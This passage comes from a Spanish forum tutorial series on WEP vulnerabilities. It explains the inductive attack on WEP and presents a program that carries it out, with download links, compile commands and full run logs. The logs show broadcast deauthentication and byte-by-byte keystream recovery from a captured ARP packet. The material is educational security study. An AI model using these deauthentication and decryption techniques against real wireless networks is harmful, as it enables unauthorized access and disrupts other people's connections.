              36 bytes de datos (ARP)
              4 bytes para el ICV

              Total: 24 + 4 + 36 + 4 = 68 bytes total de la trama sin QoS
              Total: 26 + 4 + 36 + 4 = 70 bytes total de la trama con QoS

              Lo que debemnos hacer es lo siguiente:

              1.- Generar una cabecera 802.11 válida, esto no ofrece dificultad alguna puesto que esa información siempre se transmiten en texto plano y podemos manipularlos como si tal cosa.

              Esta cabecera incluirá:

              Un Frame control de tipo 08 41 (trama de datos normal con el bit toDS activado y bit wep activado)

              Una duración: XX XX, la que queramos

              Las MAc's destino-origen y BSSID, las que queramos y/o acordes a la red en la que nos movemos, tampoco es difícil puesto que las obtenemos en claro.

              Un número de secuencia: XX XX el que queramos

              Total cabecera 802.11 = 2 + 2 + 18 + 2 = 24 bytes de cabecera (sin QoS)

              2.- Añadimos el IV original del paquete capturado (4 bytes)

              3.- Añadimos los primeros 15 bytes (la zona verde del paquete ARP) que se corrsponden a lo que el atacante conoce SIEMPRE

              4.- Hacemos XOR de los 15 primeros bytes del paquete cifrado original con los 15 bytes del paquete en texto plano que ya conocemos, y obtenemos un keystream para esos primeros 15 bytes.

              5.- Se calcula un ICV para estos 15 bytes conocidos (4 bytes)

              Por el momento tenemos que el total de nuestra trama es:

              24 de cabecera 802.11 + 4 IV + 15 Datos + 4 ICV = 47 bytes

              6.- Enviamos una trama con 15 bytes – 3 = 12 bytes de datos y le añadimos el ICV -1 byte

              Por tanto, enviamos:

              24 de cabecera + 4 del IV + 12 bytes de datos + 3 icv = 43 bytes

              A esta operación le iremos añadiendo un byte al final (el del icv) por cada una de las combinaciones posibles (desde 0 a 256, desde 0x00 a 0xFF) y observamos si hay respuesta, si "acertamos" la estación o el Punto de acceso lanzará el paquete y deducimos que hemos acertado.

              Si no hay respuesta, probamos un nuevo valor, así hasta el 256.

              7.- Una vez obtenida la respuesta, sabremos cual es el byte correcto para la última posición (la 16), ese byte "adivinado" será el keystream para el byte cifrado número 16, por lo que si hacemos XOR tendremos su valor en plano (y según el ejemplo, ya sabremos si es un ARP REQ o RESP).

              8.- Repetimos todo el proceso desde el paso 3, sólo que ahora en lugar de tomar los primeros 15 bytes, tomamos los primeros 16 (este último lo descubrimos en el paso 6 y 7) y obtendremos el byte 17,

              Si repetimos esta operación para todos y cada uno de los bytes de datos cifrados, obtendremos la totalidad del paquete descifrado y una keystream que nos permitirá reinyectar o cifrar/descifrar otros nuevos.

              Resumiendo, el ataque inductivo se basa en que al conocer "parte" del texto plano de un paquete cifrado, podemos ir calculado su ICV y probando a enviar "partes" del mismo alterando el último byte.

              Te pongo una figura que ayuda MUCHO a entender todo esto:



              Por cada una de las "tandas de comprobación de los 256 bytes" deberíamos obtener al menos una respuesta correcta!!! Cuando esto ocurra, hacemos:



              De este modo ya tenemos el keystream, el texto plano y el byte cifrado (este último ya era conocido) del byte número 16.

              Si te fijas, antes dije:

              CitarPor cada una de las "tandas de comprobación de los 256 bytes" deberíamos obtener al menos una respuesta correcta!!!

              Presta atención a las palabras "deberíamos" y "al menos una respuesta"

              "Deberíamos" porque nadie nos asegura que no haya errores en la transmisión, o que el punto de acceso al recibir muchos paquetes inválidos antes del bueno emita desautenticaciones, etc... por eso "deberíamos".

              "al menos una respuesta" porque puede haber mas, tampoco nadie nos asegura que otras estaciones utilicen este mismo IV y provoquen resultados "similares" o iguales a los esperados.

              Y qué pasa si ocurre alguna de estas "cosas"???

              Qué ocurresi no obtenemos respuesta o si la respuesta es un falso positivo???

              Pues que "el siguiente" byte a descifrar será erróneo y no producirá respuestas y/o resultados, de eso nos daremos cuenta cuando tras probar las 256 combinaciones posibles no obtenemos nada...

              Entonces???

              Entonces lo que hay que hacer es repetir, pero no hace falta empezar desde el primero, por ejemplo, si esa circunstancia se da en el byte número 27, repetimos todo el proceso desde el 26 (el último que se consiguió)

              Y si falla en el primero, para nuestro ejemplo en el 15????

              Pues no podemos seguir, el ataque debe finalizar y probar de nuevo, esta vez sí, desde el principio.

              El caso es que si todo va bien y no encontramos "inconvenientes" la operación se repite para el byte 16, 17, 18, etc... así hasta el último.

              Para nuestro ejemplo sonl 36 de datos  + 4 del ICV  = 40

              ChimoC

              #9
              VULNERABILIDADES WEP. PARTE III. Práctica (I)

              Ataque Inductivo.

              Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:

              * send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.

              Funcion main.

              * Lee del teclado un BSSID sobre el que se realizará el ataque
              * Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)

              Función ataque_inductivo

              Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.

              La desautenticación la realiza llamando a una funcion que es:

              desautenticar_todos(macAP)

              O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.

              Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.

              AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.

              Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.

              Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.

              Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie "se atrevió" a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.

              Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:

              3 bytes (24 bits) para el IV
              1 byte  (8 bits) para el keyindex (número de llave que usa)


              Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.

              Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.

              Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.

              Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.

              Algo así:

              SI (h80211[cabmac+3] & 0x20)) es distinto a cero ) NO ES WEP
              En caso contrario ES WEP

              Siendo cabmac la longitud de la cabecera y h80211 un array con el contenido completo del paquete/trama h80211


              Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.

              Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.

              El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.

              Observa que el paquete ha de ser toDS!!!

              Sabes por qué, no????

              Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.

              Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría... 68 bytes para un ARP (o 70 si hay QoS)

              Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:
                paquete_cifrado: Lógicamente se trata del paquete original

                h80211: Que se usará para enviar o recibir las tramas

                temporal: como su nombre indica es un almacén temporal y guardará los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Sólo los datos, sin cabeceras, sin IV's y sin ICV's. SOLO DATOS.

                crc32: pues será un array que almacena el icv resultante de temporal.

                F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV

                key_stream: pues será donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV.

                paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes.[/list]Además contamos con otras variables y constantes necesarias para llevar el ataque:
                  mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teoría si no lo ves claro)

                  inicio, es la posición inicial del ataque, para nuestro caso será 15

                  final: es el último byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar

                  actual: que marcará el byte que está siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deberá ser igual a final. Actual se irá incrementando en una unidad a medida que vamos descifrando nuevos bytes.[/list]También utiliza dos funciones:

                  add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:

                  add_crc32 (temporal, actual-3)

                  Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.

                  También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.

                  Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual



                  Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)

                  Se van enviando estos paquetes con el "añadido" de ese último byte y se comprueban las respuestas.

                  La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).

                  La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y "busca" en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:
                    Entregará como resultado 0 (cero) si no hubo respuesta
                    Un valor distinto a cero si acertamos con el byte.
                  Ese valor de retorno (siempre que no sea cero) será el valor de actual+24+4+1) es decir,

                  Para nuestro primer byte sería (el 15)

                  Retorno= 15 + 24 + 4 + 1 = 44 bytes

                  15 por la posición actual
                  24 por la cabecera 80211 (o 26 si hay QoS)
                  4 por el IV
                  1 por el byte que estamos añadiendo


                  Si encontramos un paquete de ese tamaño y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.

                  [size=18]Ojo!!! Importante lo de fromDS[/size], está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos "sea el corecto" el punto de acceso responderá con el bit fromDS (DESDE) activado.

                  Todo esto lo realiza la función ver_envio_ap

                  Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.

                  Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.

                  Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de  falsos positivos.

                  Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.

                  En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.

                  Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:



                  De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.

                  Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6

                  Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si... hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)

                  y lo compilas:

                  gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode4.o arpdecode4.c

                  gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep   -lssl -lcrypto


                  Podemos verlo en acción:

                  Taller_WiFi src # ./arpdecode4 eth1

                  Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

                  Leyendo paquete número 499 on destino a --------> 00:16:B6:41:03:5D:

                  ATENCION!!! Parece que no se capturan ARP_REQ
                  *********** Probando desautenticación al broadcast

                  Desautenticación
                  ****************
                  C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
                  00 16 B6 41  03 5D 00 00  04 00

                  Enviando Desautenticación número 8

                  <---- Encontrado paquete ---->
                  <---- Esperando 3 Segundos--->
                  Paquete CIFRADO ORIGINAL (solo los datos + ICV)
                  ***********************************************

                  80 E3 C3 5A  5F 12 30 50  D4 01 D5 65  3E 3D 6F E1
                  09 EA 6F 7F  50 D3 B1 79  55 53 EF EE  03 64 98 7E
                  CC F9 9F EF  53 07 FC AF

                  -> Byte num. 1  Candidato n/a   keystream 2A    byte cifrado: 80   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 2  Candidato n/a   keystream 49    byte cifrado: E3   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 3  Candidato n/a   keystream C0    byte cifrado: C3   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 4  Candidato n/a   keystream 5A    byte cifrado: 5A   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 5  Candidato n/a   keystream 5F    byte cifrado: 5F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 6  Candidato n/a   keystream 12    byte cifrado: 12   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 7  Candidato n/a   keystream 38    byte cifrado: 30   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
                  -> Byte num. 8  Candidato n/a   keystream 56    byte cifrado: 50   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
                  -> Byte num. 9  Candidato n/a   keystream D4    byte cifrado: D4   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
                  -> Byte num. 10 Candidato n/a   keystream 00    byte cifrado: 01   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
                  -> Byte num. 11 Candidato n/a   keystream DD    byte cifrado: D5   byte decode 08 <--- DATOS conocidos --> Protocolo IP
                  -> Byte num. 12 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> Protocolo IP
                  -> Byte num. 13 Candidato n/a   keystream 38    byte cifrado: 3E   byte decode 06 <--- DATOS conocidos --> Longitud MAC
                  -> Byte num. 14 Candidato n/a   keystream 39    byte cifrado: 3D   byte decode 04 <--- DATOS conocidos --> Versión IP
                  -> Byte num. 15 Candidato n/a   keystream 6F    byte cifrado: 6F   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
                  -> Byte num. 16 Candidato 5B    keystream E0    byte cifrado: E1   byte decode 01 <--- ARP REQUEST
                  -> Byte num. 17 Candidato 9E    keystream 09    byte cifrado: 09   byte decode 00 <--- MAC ORIGEN
                  -> Byte num. 18 Candidato F7    keystream FD    byte cifrado: EA   byte decode 17 <--- MAC ORIGEN
                  -> Byte num. 19 Candidato 44    keystream F5    byte cifrado: 6F   byte decode 9A <--- MAC ORIGEN
                  -> Byte num. 20 Candidato 4D    keystream BC    byte cifrado: 7F   byte decode C3 <--- MAC ORIGEN
                  -> Byte num. 21 Candidato 16    keystream 86    byte cifrado: 50   byte decode D6 <--- MAC ORIGEN
                  -> Byte num. 22 Candidato E8    keystream 6A    byte cifrado: D3   byte decode B9 <--- MAC ORIGEN
                  -> Byte num. 23 Candidato A6    keystream BB    byte cifrado: B1   byte decode 0A <--- IP  ORIGEN (decimal 10)
                  -> Byte num. 24 Candidato AF    keystream 73    byte cifrado: 79   byte decode 0A <--- IP  ORIGEN (decimal 10)
                  -> Byte num. 25 Candidato 67    keystream 5F    byte cifrado: 55   byte decode 0A <--- IP  ORIGEN (decimal 10)
                  -> Byte num. 26 Candidato 22    keystream 9B    byte cifrado: 53   byte decode C8 <--- IP  ORIGEN (decimal 200)
                  -> Byte num. 27 Candidato B0    keystream EF    byte cifrado: EF   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 28 Candidato 39    keystream EE    byte cifrado: EE   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 29 Candidato 74    keystream 03    byte cifrado: 03   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 30 Candidato FD    keystream 64    byte cifrado: 64   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
                  Candidato decode FF Byte actual 32 de 40
                  Vuelta atrás. Falló el último. Reintentando de nuevo a partir de la posición 30

                  -> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 32 Candidato E6    keystream 7E    byte cifrado: 7E   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 33 Candidato BD    keystream C6    byte cifrado: CC   byte decode 0A <--- IP  DESTINO (decimal 10)
                  -> Byte num. 34 Candidato 47    keystream F3    byte cifrado: F9   byte decode 0A <--- IP  DESTINO (decimal 10)
                  -> Byte num. 35 Candidato EE    keystream 95    byte cifrado: 9F   byte decode 0A <--- IP  DESTINO (decimal 10)
                  -> Byte num. 36 Candidato FA    keystream 1A    byte cifrado: EF   byte decode F5 <--- IP  DESTINO (decimal 245)
                  -> Byte num. 37 Candidato C0    keystream 99    byte cifrado: 53   byte decode CA <--- ICV CRC32
                  -> Byte num. 38 Candidato 66    keystream 13    byte cifrado: 07   byte decode 14 <--- ICV CRC32
                  -> Byte num. 39 Candidato 9A    keystream 55    byte cifrado: FC   byte decode A9 <--- ICV CRC32
                  -> Byte num. 40 Candidato AF    keystream E9    byte cifrado: AF   byte decode 46 <--- ICV CRC32

                  Tipo ARP:    REQUEST
                  MAC ORIGEN:  00 17 9A C3 D6 B9
                  IP ORIGEN:   10.10.10.200.
                  MAC DESTINO: 00 00 00 00 00 00
                  IP DESTINO:  10.10.10.245.
                  Parámetros WEP
                  **************
                          IV completo: 6C 6B 00 00
                          Num de KEY usada: 00

                  keystream;
                  6C 6B 00 00  2A 49 C0 5A  5F 12 38 56  D4 00 DD 65
                  38 39 6F E0  09 FD F5 BC  86 6A BB 73  5F 9B EF EE
                  03 64 98 7E  C6 F3 95 1A  99 13 55 E9

                  Listo!!!


                  Duración total del ataque: 13 minutos 44 segundos

                  Taller_WiFi src #


                  El ataque "es lento"  como puedes ver al finalizar el ataque se muestra la duración del mismo. ([size=18]13 minutos 44 segundos[/size]) una pasada, vamos... y eso para unos pocos bytes...

                  Recuerda cómo funcionabe el programa:
                    Tenemos 40 bytes a "descubrir", bueno, realmente 40 – 15 = 25

                    Puesto que los 15 primeros ya son "bien conocidos"

                    Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles.

                    Entre envío y envío la función ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del último paquete enviado, por tanto en el peor de los casos, que sería descubrir el byte "bueno" como última combinación (256), el tiempo máximo del ataque es:

                      (25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos máximo.
                      Un millón de ms (1.000.000) es un segundo
                    Claro, eso en las peores condiciones, que sería agotar por cada byte sus 256 posibilidades, como eso no ocurrirá, digamos que de 8 a 10 minutos es "lo normal"
                  Sin embargo, podría haberse perpetuado el [size=18]ataque en menos de 25 segundos!!!![/size]!

                  Ehhh????

                  Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV's posibles de cada candidato a enviar, de tal forma que al tenerlos ya "calculados" podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).

                  De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,

                  Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV's generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso... en menos de 25 segundos lo tenemos.

                  El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.

                  Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc...

                  Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV's, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.

                  Bueno, venga, vale... te pongo un link de descarga de "la versión rápida", se llama arpdecode5.c

                  http://www.megaupload.com/?d=LU210GBT

                  Lo guardas en el directorio de las fuentes de aircrack y lo compilas:

                  gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode5.o arpdecode5.c

                  gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode5.o common.o crypto.o -o arpdecode5 -Losdep -losdep   -lssl -lcrypto


                  Ahora, vamos a ejecutarlo:

                  Taller_WiFi src # ./arpdecode5 eth1

                  Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

                  **** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D:
                  Desautenticación
                  ****************
                  C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
                  00 16 B6 41  03 5D 00 00  04 00

                  Enviando Desautenticación número 8

                  <---- Encontrado paquete ---->
                  <---- Esperando 3 Segundos--->

                  Paquete CIFRADO ORIGINAL (solo los datos + ICV)
                  ***********************************************

                  4B 33 B8 7C  1F E4 E0 7B  54 0F EF 35  F8 58 65 A7
                  1F CF 1C 37  1A 25 47 4E  C5 EB 1B A0  FB 1E 9B 2F
                  93 26 FF AC  7A FB 21 0F

                  -> Byte num. 1  Candidato n/a   keystream E1    byte cifrado: 4B   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 2  Candidato n/a   keystream 99    byte cifrado: 33   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 3  Candidato n/a   keystream BB    byte cifrado: B8   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 4  Candidato n/a   keystream 7C    byte cifrado: 7C   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 5  Candidato n/a   keystream 1F    byte cifrado: 1F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 6  Candidato n/a   keystream E4    byte cifrado: E4   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
                  -> Byte num. 7  Candidato n/a   keystream E8    byte cifrado: E0   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
                  -> Byte num. 8  Candidato n/a   keystream 7D    byte cifrado: 7B   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
                  -> Byte num. 9  Candidato n/a   keystream 54    byte cifrado: 54   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
                  -> Byte num. 10 Candidato n/a   keystream 0E    byte cifrado: 0F   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
                  -> Byte num. 11 Candidato n/a   keystream E7    byte cifrado: EF   byte decode 08 <--- DATOS conocidos --> Protocolo IP
                  -> Byte num. 12 Candidato n/a   keystream 35    byte cifrado: 35   byte decode 00 <--- DATOS conocidos --> Protocolo IP
                  -> Byte num. 13 Candidato n/a   keystream FE    byte cifrado: F8   byte decode 06 <--- DATOS conocidos --> Longitud MAC
                  -> Byte num. 14 Candidato n/a   keystream 5C    byte cifrado: 58   byte decode 04 <--- DATOS conocidos --> Versión IP
                  -> Byte num. 15 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
                  -> Byte num. 16 Candidato BF    keystream A6    byte cifrado: A7   byte decode 01 <--- ARP REQUEST
                  -> Byte num. 17 Candidato 3E    keystream 1F    byte cifrado: 1F   byte decode 00 <--- MAC ORIGEN
                  -> Byte num. 18 Candidato 27    keystream D8    byte cifrado: CF   byte decode 17 <--- MAC ORIGEN
                  -> Byte num. 19 Candidato 67    keystream 86    byte cifrado: 1C   byte decode 9A <--- MAC ORIGEN
                  -> Byte num. 20 Candidato 66    keystream F4    byte cifrado: 37   byte decode C3 <--- MAC ORIGEN
                  -> Byte num. 21 Candidato C4    keystream CC    byte cifrado: 1A   byte decode D6 <--- MAC ORIGEN
                  -> Byte num. 22 Candidato 6E    keystream 9C    byte cifrado: 25   byte decode B9 <--- MAC ORIGEN
                  -> Byte num. 23 Candidato 67    keystream 4D    byte cifrado: 47   byte decode 0A <--- IP  ORIGEN (decimal 10)
                  -> Byte num. 24 Candidato F3    keystream 44    byte cifrado: 4E   byte decode 0A <--- IP  ORIGEN (decimal 10)
                  -> Byte num. 25 Candidato 3D    keystream CF    byte cifrado: C5   byte decode 0A <--- IP  ORIGEN (decimal 10)
                  -> Byte num. 26 Candidato B2    keystream 23    byte cifrado: EB   byte decode C8 <--- IP  ORIGEN (decimal 200)
                  -> Byte num. 27 Candidato 5E    keystream 1B    byte cifrado: 1B   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 28 Candidato C5    keystream A0    byte cifrado: A0   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 29 Candidato DC    keystream FB    byte cifrado: FB   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 30 Candidato DD    keystream 1E    byte cifrado: 1E   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 31 Candidato CB    keystream 9B    byte cifrado: 9B   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 32 Candidato DB    keystream 2F    byte cifrado: 2F   byte decode 00 <--- MAC DESTINO
                  -> Byte num. 33 Candidato 17    keystream 99    byte cifrado: 93   byte decode 0A <--- IP  DESTINO (decimal 10)
                  -> Byte num. 34 Candidato BD    keystream 2C    byte cifrado: 26   byte decode 0A <--- IP  DESTINO (decimal 10)
                  -> Byte num. 35 Candidato CB    keystream F5    byte cifrado: FF   byte decode 0A <--- IP  DESTINO (decimal 10)
                  -> Byte num. 36 Candidato 9D    keystream 65    byte cifrado: AC   byte decode C9 <--- IP  DESTINO (decimal 201)
                  -> Byte num. 37 Candidato B0    keystream 37    byte cifrado: 7A   byte decode 4D <--- ICV CRC32
                  -> Byte num. 38 Candidato 02    keystream 93    byte cifrado: FB   byte decode 68 <--- ICV CRC32
                  -> Byte num. 39 Candidato 4C    keystream E7    byte cifrado: 21   byte decode C6 <--- ICV CRC32
                  -> Byte num. 40 Candidato 4E    keystream 66    byte cifrado: 0F   byte decode 69 <--- ICV CRC32

                  Tipo ARP:    REQUEST
                  MAC ORIGEN:  00 17 9A C3 D6 B9
                  IP ORIGEN:   10.10.10.200.
                  MAC DESTINO: 00 00 00 00 00 00
                  IP DESTINO:  10.10.10.201.
                  Parámetros WEP
                  **************
                          IV completo: F3 6F 00 00
                          Num de KEY usada: 00

                  keystream;
                  F3 6F 00 00  E1 99 BB 7C  1F E4 E8 7D  54 0E E7 35
                  FE 5C 65 A6  1F D8 86 F4  CC 9C 4D 44  CF 23 1B A0
                  FB 1E 9B 2F  99 2C F5 65  37 93 E7 66

                  Duración del ataque: 20 segundos

                  Taller_WiFi src #
                  Taller_WiFi src #



                  Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado :D

                  En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.

                  Que lo disfrutes.


                  No vamos a menospreciar al "lento", nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV's no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar "contramedidas" y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.

                  Ahora, un detector, para el siguiente post.